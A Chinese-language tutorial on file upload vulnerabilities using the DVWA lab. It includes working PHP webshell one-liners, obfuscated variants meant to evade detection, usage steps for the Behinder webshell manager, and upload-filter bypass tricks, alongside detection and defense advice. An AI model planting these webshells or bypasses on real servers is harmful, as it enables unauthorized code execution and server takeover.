文件上传漏洞笔记

news2025/1/18 11:55:49

漏洞成因

文件上传漏洞正是在文件上传功能中,由于对用户上传的文件数据未做有效检测或过滤不严,导致上传的恶意文件被服务端解释器解析执行,利用漏洞可获取系统控制权。
很多网站都有一些文件上传功能,常见的是图片、视频、压缩文档上传,如果网站是 PHP 写的,那么上传 PHP 到服务器就有可能被解析,若服务器支持其他语言的解析执行,比如 ASP、JSP、ASPX 等文件也可达到同等攻击效果,达到恶意代码执行。
以 DVWA 靶场的文件上传漏洞为例:
在这里插入图片描述
对应的漏洞代码如下,通过 POST 请求将文件上传到“网站根目录 /hackable/uploads/”目录:

<?php
if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
    // Can we move the file to the upload folder?
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
        // No
        echo '<pre>Your image was not uploaded.</pre>';
    }
    else {
        // Yes!
        echo "<pre>{$target_path} succesfully uploaded!</pre>";
    }
}
?>

中间没有任何限制,也就是说上传 PHP 文件也可以,简单写个包含 phpinfo() 的 php 文件:

<?php phpinfo(); ?>

上传后有路径提示:
在这里插入图片描述
访问地址:http://127.0.0.1/hackable/uploads/phpinfo.php,可以看到 phpinfo() 已经被执行成功。
如果我们上传的 PHP 是更多恶意功能的脚本,就可以实现更多攻击行为。

利用漏洞上传 Webshell

1.一句话木马
提到 Webshell 木马,就不得不提下“一句话木马”。PHP 一句话木马可以通过 GET、POST、COOKIE 这几种方式提交数据,然后将数据传递给代码/命令执行函数,从而实现任意代码/命令执行。
比如以下这个一句话木马:

<?php eval(@$_GET['a']); ?>

将上述代码保存为 eval.php 并上传至网站,然后构造请求:
http://127.0.0.1/hackable/uploads/eval.php?a=phpinfo();

利用一句话木马成功执行 phpinfo() 函数。
有时为了绕过木马检测,攻击者会对一句话进行混淆变形,比如下面几句。
利用字符串拼接执行函数名:

<?php
$a="e"."v";
$b="a"."l";
$c=$a.$b;
$c($_POST['a']);
?>

通过 base64_decode 编码执行函数名:

<?php
$a=base64_decode("ZXZhbA==")
$a($_POST['a']);
?>

由 GET 参数指定函数名和参数:

<?php $_GET['a']($_GET['b']);  ?>

行业内常称“一句话木马”为“小马”,用它来传递“大马”,因为“大马”比较容易被检测到。
2.Webshell 管理工具
攻击者常用“菜刀”“冰蝎”“蚁剑”、Weevely、Cknife 这些 Webshell 工具去连接一句话木马,其中尤以“菜刀”最为出名。
以冰蝎为例,server 目录就是用来上传服务端的小马,我们选择上传 shell.php,默认使用连接密码 rebeyond,你可根据需要自行修改,然后用密码 32 位 md5 哈希值替换 key 变量即可。
在这里插入图片描述
在这里插入图片描述
上传成功后得到地址:
http://127.0.0.1/hackable/uploads/shell.php

使用以下命令打开冰蝎客户端:
java -jar Behinder_v3.0_Beta6_linux.jar

右击菜单选择“新增”,把 shell.php 地址输入 URL,同时输入 shell.php 中的连接密码(此处我使用默认密码“rebeyond”),点击“保存”。
在这里插入图片描述
双击保存的 URL 去连接 shell.php,如果成功的话,会打开 phpinfo,同时在右上角显示“已连接”。
上面有很多附带功能,你可以管理服务器文件、执行命令还有数据库管理、执行自定义代码以及内网穿透时常用的端口映射、Socks 隧道等等功能。
之前使用“菜刀”的人比较多,也导致不少网站增加了对其的检测规则,后来不少人改用通信加密与设置连接密码的“冰蝎”,也有人基于此做了二次开发,做一些检测特征清除,从而绕过一些安全系统的查杀。

绕过上传限制

1.禁用 JS
很多时候,开发在限制上传文件格式时,仅是在前端 JS 上做简单的文件后缀名判断,若不是就中断处理。对于这种情况安装个 NoScript 插件,禁用 JS 再上传即可绕过。
2.篡改数据包
对于前端 JS 的限制,除了禁用 JS 外,我们还可以使用 curl、nc、BurpSuite 等工具构造数据包去发送请求,这样是不经过浏览器前端 JS 的处理,从而绕过限制。这里的篡改内容,可依据前端 JS 的校验内容来定,比如后缀名、Content-type 等等。
3.文件头绕过
不同文件格式有不同的文件头,比如下表:
在这里插入图片描述

这样我们就可以尝试在 php 文件前面加个图片文件头,看是否可以绕过检测,比如下面 shell.php 内容:
BM <?php phpinfo(); ?>

从这也可以看出,检测文件格式最后是文件头+后缀名都一块检测,否则仍有绕过的可能。
4.%00 截断
前端限制对防御上传漏洞的能力相对是比较弱的,更多还是得靠服务端,但如果限制不当,仍有可能绕过。比如对文件后缀、路径上的检测,有时可通过添加 %00 截断来绕过,比如:
upload.php?type=image&file=shell.php%00.jpg

5.大小写绕过
有时检测未区分文件名大小写时,可使用此方法绕过。
6.后缀别名绕过
有些执行脚本存在多个后缀别名,若网站对此检测不全时,也有可能绕过,不同语言的常用后缀如下表:
在这里插入图片描述
html 文件上传后可用于 XSS 或者钓鱼欺骗等攻击,相比其他语言可直接在服务端执行代码的危害低一些,但仍要重视。
7.结合其他漏洞绕过
可利用一些服务器的解析漏洞来绕过,比如利用 apache 对不同后缀名的处理顺序机制,当后缀名不可识别时,就往左判断,比如 shell.php.php123 有可能被识别为 php 类型来执行。
nginx 也出现过类似漏洞,比如 1.jpg/1.php 被当作 php 来执行,这种服务端解析漏洞就比较难单纯依靠网站代码来解决,前提还是需要先堵住漏洞。

如何发现上传漏洞

1.黑盒扫描
在日常的网站扫描中,一般不会上传真实的木马,常常使用 phpinfo 来代替,这样对业务的影响是最小的。有时也会 echo 一段字符串来代替,但这种有时被外部发现,又可能被外部炒作被黑,存在公关风险。
当爬虫网页时,若发现存在文件上传功能,就自动构造请求上传包含以下代码的文件:

<?php phpinfo(); ?>

先根据返回包特征判断是否上传成功,然后再去寻找上传路径。扫描器可以设置一个随机文件名,然后再常见目录去检测是否上传成功。
如果是自家服务器,你倒可以在服务器上布署个文件创建的监控,然后根据文件名获取上传路径,最后访问文件路径判断是否可访问。这种做法的通用相对比较差,很多时候也并不是对自己服务器的测试。
2.流量监测
由于黑盒扫描对上传文件路径的确认比较困难,所以流量监测成为一种常用方法,不仅是上传漏洞,其实其他漏洞也同样适用的。
通过监测流量中疑似的 webshell,获取相关请求数据告警出来,然后再人工确认,我们在用这种方法在实际业务中多次发现上传漏洞。
3.白盒审计
如果手上有源代码,直接审计代码也是一种不错方式。在 PHP 中是通过 $_FILE 来读取文件,它拥有以下几个常用属性:

  • $_FILES[file][‘name’]:上传文件名
  • $_FILES[file][‘tmp_name’]:存储在服务器的文件的临时副本的名称
  • $_FILES[file][‘size’]:上传文件大小
  • $_FILES[file][‘type’]:上传文件类型

其中的 name 与 tmp_name 可以理解为污染源触发上传文件存储的函数常见于:move_uploaded_file,审计代码时就可以先从此函数入手,看其参数是否有来源于上述污染源数据,并且中间无任何的上传限制,那就有可能存在上传漏洞,最后再手工上传验证下。

漏洞防御

对于上传漏洞的修复和防御,可以从以下几方面入手:

  1. 严格检测上传文件后缀名、文件头、Content-type,尽量采用白名单方式限制。

  2. 重编码文件,比如对图片或视频做转换处理。

  3. 限制文件大小,避免被恶意上传大文件造成存储空间不足,进而网站无法正常运行。

  4. 在服务端本地检测 Webshell,发现后告警出来,人工确认后再删除,同时排查是否为外部入侵导致的,查日志去追踪可能存在的漏洞来源。

  5. 使用 WAF 拦截木马的上传,这种可能比较容易被绕过。

  6. 使用 RASP 在服务端中对于执行脚本的关键函数进行 hook,比如 php eval,在触发外部数据输入执行时就告警和阻断。

  7. 限制上传目录可不解析,不同的服务器有不同的配置方式,比如 Nginx 可按如下方式配置。
    location ~* ^/uploads/.*.(php|php5)$
    {
    deny all;
    }

  8. 上传文件重命名,建议使用随机文件名。

  9. 隐藏上传文件路径相关信息,比如关闭错误回显,不要像本课中的 DVWA 靶场的题目那样直接把上传路径直接返回。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/44484.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

多线程 _ 基础篇 _ 线程安全问题【JavaEE初阶】

一、线程安全概述 1.1 什么是线程安全问题 线程安全问题 出现的 "罪魁祸首"&#xff0c;正是 调度器的 随机调度 / 抢占式执行 这个过程 在随机调度之下&#xff0c;多线程程序执行的时候&#xff0c; 有无数种可能的排列方式 在这些排列顺序中&#xff0c;有的…

Kotlin高仿微信-第1篇-注册

Kotlin高仿微信-项目实践58篇详细讲解了各个功能点&#xff0c;包括&#xff1a;注册、登录、主页、单聊(文本、表情、语音、图片、小视频、视频通话、语音通话、红包、转账)、群聊、个人信息、朋友圈、支付服务、扫一扫、搜索好友、添加好友、开通VIP等众多功能。 Kotlin高仿…

C语言——指针(入门详解)

文章目录1.什么是指针&#xff1f;1.1.理解指针的两个要点&#xff1a;1.2.指针变量&#xff1a;1.3.内存是如何编址&#xff1f;2.指针和指针类型2.1指针的创建与初始化2.2.指针类型3.野指针3.1.什么视野指针&#xff1f;3.2.野指针成因3.3.规避野指针4.指针运算4.1.指针-整数…

【App自动化测试】(十四)Android WebView测试方法

目录1. webview 架构与分析方法1.1 webview与Hybrid开发1.1.1 移动APP三种开发模式1.1.2 native原生开发1.1.2.1 native原生开发说明1.1.2.2 native原生开发组件1.1.3 Hybrid混合开发webview展示1.1.3.1 Hybrid混合开发中的app webview组件1.1.3.2 webview开发代码展示1.1.3.3 …

Reids实战——优惠券秒杀(全局唯一ID生成策略)

1 全局唯一ID生成策略 每个店铺都可以发布优惠券&#xff1a; 当用户抢购时&#xff0c;就会生成订单并保存到tb_voucher_order这张表中&#xff0c;而订单表如果使用数据库自增ID就存在一些问题&#xff1a; 1. id的规律性太明显 2. 会受单表数据量的限制 全局ID生成器&a…

Android APP全局黑白化实现方案

在清明节时各大APP都会进行黑白化处理&#xff0c;当时在接到这个需求的时候感觉好麻烦&#xff0c;是不是又要搞一套皮肤&#xff1f; 然而在一系列搜索之后&#xff0c;找到了两位大神&#xff08;鸿洋、U2tzJTNE&#xff09;的实现方案&#xff0c;其实相当的简单&#xff…

NoSQL数据库之MongoDB

一、NoSQL数据库背景 传统关系型数据库遇到的问题 2008 年左右&#xff0c;网站 、 论坛、社交网络开始高速发展&#xff0c;传统的关系型数据库在存储及处理数据的时候受到了很大的挑战 &#xff0c;其中主要体现在以下几点&#xff1a; 难以应付每秒上万次的高并发数据写入…

hiveSql 相互关注问题

hiveSql 相互关注问题说明需求分析优化实现最后说明 普遍社交软件上会有关注功能&#xff0c;如何知道自己的关注是否也是关注了自己呢&#xff1f; 需求 求关注结果数据中&#xff0c;相互关注的用户对。 数据如下&#xff1a; follow表&#xff1b;from_user&#xff1a;关…

JMeter 扩展开发:扩展 TCP 取样器

前言 对基于 TCP/IP 协议的套接字应用进行性能测试是非常常见的测试场景。JMeter 提供的“TCP 取样器”大部分情况下可以满足测试的需求&#xff0c;但是也有它的局限性。如果希望实现更灵活的 TCP 套接字测试方式&#xff0c;可以通过对 JMeter 内置的 TCP 取样器进行扩展开发…

在数据工厂中刷新PowerBI数据集

一开始因为部门使用的是坚果云来同步资料&#xff0c;而坚果云同步SSIS工程总是会报错&#xff0c;一气之下就把所有的SSIS迁移到了Azure云上&#xff0c;本来部门使用的就是Azure SQL&#xff0c;所以迁到Data Factory&#xff08;数据工厂&#xff09;也不需要过多的配置。 …

传输线理论基础01——相关定义、信号速率、分布参数与电报方程

前言一直以来都对高频信号、信号完整性、传输线、分布参数这些概念似懂非懂&#xff0c;上学时没学过相关课程&#xff0c;这导致我对高频电路和PCB理解较差&#xff0c;这里新开一个专栏&#xff0c;补齐这方面知识。 一. 传输线相关定义1.1 传输线定义 传输线指的是传输信号…

PyTorch学习笔记-神经网络模型搭建小实战

1. torch.nn.Sequential torch.nn.Sequential 是一个Sequential 容器&#xff0c;能够在容器中嵌套各种实现神经网络中具体功能相关的类&#xff0c;来完成对神经网络模型的搭建。模块的加入一般有两种方式&#xff0c;一种是直接嵌套&#xff0c;另一种是以 OrderedDict 有序…

LabVIEW创建类 1

LabVIEW创建类 1 通过创建LabVIEW类&#xff0c;可在LabVIEW中创建用户定义的数据类型。LabVIEW类定义了对象相关的数据和可对数据执行的操作&#xff08;即方法&#xff09;。通过封装和继承可创建模块化的代码&#xff0c;使代码更易修改而不影响应用程序中的其它代码。 在…

Terraform 华为云最佳实践

目录划分如下&#xff1a;首先是环境&#xff0c;分为网络和service。global是全局的配置&#xff0c;也就是backend的配置&#xff0c;这次使用s3的存储作为backend的存储。最后就是模块做了一些封装。 在global里面的backend里面的main.tf去创建s3的存储。华为云支持s3存储&a…

[附源码]Python计算机毕业设计Django病房管理系统

项目运行 环境配置&#xff1a; Pychram社区版 python3.7.7 Mysql5.7 HBuilderXlist pipNavicat11Djangonodejs。 项目技术&#xff1a; django python Vue 等等组成&#xff0c;B/S模式 pychram管理等等。 环境需要 1.运行环境&#xff1a;最好是python3.7.7&#xff0c;…

RK3588平台开发系列讲解(USB篇)USB 外设 CONFIG

平台内核版本安卓版本RK3588Linux 5.10Android 12文章目录 一、 Mass Storage Class CONFIG二、USB Serial Converter CONFIG三、USB HID CONFIG四、USB Net CONFIG五、USB Camera CONFIG六、USB Audio CONFIG七、 USB HUB CONFIG沉淀、分享、成长,让自己和他人都能有所收获!…

PG::Seppuku

nmap -Pn -p- -T4 --min-rate1000 192.168.81.90 nmap -Pn -p 21,22,80,139,445,7080,7601,8088 -sCV 192.168.81.90 查看7601端口的页面 对路径进行爆破 在/secret路径下得到了用户名和一个密码字典 尝试ssh爆破 得到密码 eeyoree ssh登录 这里使用sudo -l&#xff0…

FineReport表格软件- 计算操作符说明

1. 概述 FineReport 中使用函数需要用到很多的操作符。 操作符不仅包含很多运算符&#xff0c;还包括一些报表特有的操作符。 FineReport 11.0 优化了公式 2. 运算符类型 运算符用于指定要对公式中的元素执行的计算类型。有默认计算顺序&#xff0c;但可以使用括号更改此顺序…

企业表格软件-FineReport 数组函数概述

1. ADD2ARRAY ADD2ARRAY(array, insertArray, start)&#xff1a;在数组 array 的第 start 个位置插入 insertArray 中的所有元素&#xff0c;再返回该数组。 示例&#xff1a; ADD2ARRAY([3, 4, 1, 5, 7], [23, 43, 22], 3)返回[3, 4, 23, 43, 22, 1, 5, 7]。 ADD2ARRAY([…

将 AWS IAM Identity Center (SSO) SAML 与 Amazon OpenSearch Dashboard集成

Amazon OpenSearch Amazon OpenSearch Service 是一项 AWS 托管服务&#xff0c;可以让您运行和扩展 OpenSearch 集群&#xff0c;而不必担心管理、监控和维护您的基础设施&#xff0c;或者不必在操作 OpenSearch 集群方面积累深入的专业知识。 基于 SAML 的 OpenSearch Dash…